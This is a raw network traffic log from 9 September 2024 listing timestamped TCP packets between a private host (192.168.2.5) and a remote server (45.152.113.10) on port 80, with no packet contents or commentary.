Sep 9, 2024 18:45:07.095643044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095650911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095653057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095671892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095689058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095716000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095731974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095746994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095762968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095773935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095786095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095786095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095803022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095819950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095828056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095838070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095860004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095864058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095871925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095877886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095905066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095913887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095948935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095964909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.095990896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.095999956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096009970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096015930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096031904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096046925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096055984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096072912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096081018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096147060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096160889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096189022 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096221924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096230030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096239090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096262932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096295118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096328020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096332073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096347094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096422911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096422911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096487045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096504927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096544981 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096592903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096605062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096620083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096633911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096637011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096649885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096654892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096661091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096679926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096698046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096724033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096739054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096752882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096767902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096770048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096776009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096787930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096793890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096805096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096806049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096827030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096852064 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096858025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096873045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096889019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096903086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096914053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096930027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096940994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.096976995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.096992016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097007036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097019911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097023010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097031116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097039938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097052097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097069025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097079039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097193956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097209930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097224951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097239017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097240925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097249031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097268105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097284079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097294092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097301006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097316027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.097326994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097336054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.097359896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185235023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185256004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185273886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185340881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185363054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185364008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185388088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185429096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185436010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185446978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185475111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185494900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185497999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185497999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185506105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185528040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185533047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185544968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185564995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185565948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185581923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185583115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185600996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185602903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185616016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185617924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185632944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185638905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.185657024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.185674906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186382055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186436892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186466932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186480999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186502934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186520100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186537027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186542988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186542988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186562061 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186573982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186629057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186645031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186661005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186669111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186681032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186685085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186700106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186709881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186723948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186727047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186748028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186769009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186789989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186806917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186824083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186830044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186839104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186918020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.186945915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186945915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186945915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.186961889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187086105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187100887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187124968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187141895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187143087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187158108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187196970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187215090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187232971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187254906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187268019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187316895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187330961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187355995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187366962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187411070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187427998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187465906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187474012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187508106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187509060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187527895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187542915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187547922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187581062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187603951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187603951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187604904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187616110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187622070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187638044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187643051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187658072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187660933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187674999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187691927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187700987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187727928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187743902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187747955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187761068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187762976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187778950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187782049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187798977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187814951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187863111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187897921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187901020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187915087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187941074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187957048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187958956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187958956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187973022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187979937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.187997103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.187997103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188009024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188029051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188043118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188070059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188081026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188096046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188107014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188113928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188131094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188134909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188153028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188163996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188180923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188199043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188218117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188235998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188246012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188262939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188303947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188303947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188358068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188360929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188385010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188400030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188401937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188419104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188422918 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188441038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188455105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188465118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188498974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188500881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188517094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188534975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188538074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188555956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188572884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188594103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188642979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188659906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.188688040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.188704967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189013004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189048052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189057112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189066887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189091921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189102888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189166069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189183950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189198971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189219952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189222097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189237118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189240932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189259052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189275980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189379930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189394951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189415932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189418077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189419031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189429998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189438105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189450979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189454079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189470053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189475060 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189492941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189503908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189538956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189554930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189570904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189578056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189588070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189594984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189604998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189608097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189626932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189645052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189687014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189702988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189718962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189723969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189735889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189738035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189754963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189758062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189774990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189785957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189843893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189868927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189881086 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189884901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189902067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189908028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189920902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189924955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189937115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189939022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189956903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.189960003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.189977884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.190102100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.190125942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.190129042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.190141916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:07.190143108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.190160990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:07.190164089 CEST	49707	80	192.168.2.5	45.152.113.10
